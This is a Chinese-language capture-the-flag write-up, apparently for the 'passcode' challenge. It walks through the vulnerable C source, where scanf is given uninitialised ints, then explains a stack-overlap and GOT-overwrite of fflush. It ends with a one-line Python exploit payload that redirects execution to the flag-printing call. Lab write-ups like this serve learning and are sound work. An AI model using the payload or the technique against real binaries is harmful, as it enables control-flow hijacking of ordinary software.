第五题 passcode

分数越来越高了,第五题居然有10分。。先远程连接服务器看看。

还是熟悉的配方,通过读C 文件/(逆向执行文件)找漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
<!--more-->
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

代码还挺长。执行之后发现输入第一次密码之后指针错误,查错后发现login的第一个scanf函数的第二个变量传递的是一个未初始化的值,应该是变量地址才对,想要更改程序逻辑,智能从welcome当中入手(在进入login之前只有这里有一次输入的机会)

Main函数啊下段,进入到welcome 函数

Scanf 函数输入的地址在edx里面,记录下来:0xFF8893F8,这里允许我们输入100个字符串

回到上一层,进入login函数,查看scanf函数所输入的地址:0xF7D57E3B,这里明显有问题,我们要的就是改变这个地址,我们看看这个edx的值是ebp-10这个堆栈空间传出来的

这个堆栈空间对应的地址是0xff889458

怎么通过第一次输入影响他呢,首先计算一下改地址与第一次输入的scanf地址相差多少

相差96个偏移,感觉是出题人算好的就是说填充的100个字符串的最后4位可以给passcode1做初始化
那我们怎么利用他们,就是说我们在最后4个字符串要写什么才能让我们拿到flag文件。

可以有很多方法,比如我们 把最后4位的值携写成fflush函数的导出表地址(我是按windows来理解的,linux学的不是很深,elf文件不是很熟悉,就相当于fflush在内存中有一个导出表,指向其代码地址,可以通过readelf -r 命令查到。)

通过修改这里 0804a004 fflush 所指向的地址。来让调用fflush函数的时候跳转到我们想要的地址

他原本的地址是 0x08048436 我们去这个地址看看

一个jmp指令 到真正的fflush地址,也就是说我们调用 fflush 函数 ,会先从其导出表读取他程序地址,再跳转过去,(= = 跳转过去后还有个跳转,可能比较绕,大家自行理解下)

然后我们通过第二次输入,修改其跳转地址为下图中的地址:0x080485e3

一步直接暴力破解。我们将其转换为 10进制 = 134514147

我们用python将输入传递给函数,代码如下:

python -c “print ‘a’*96+’\x04\xa0\x04\x08’+’134514147’ “ | ./passcode


1

 上一篇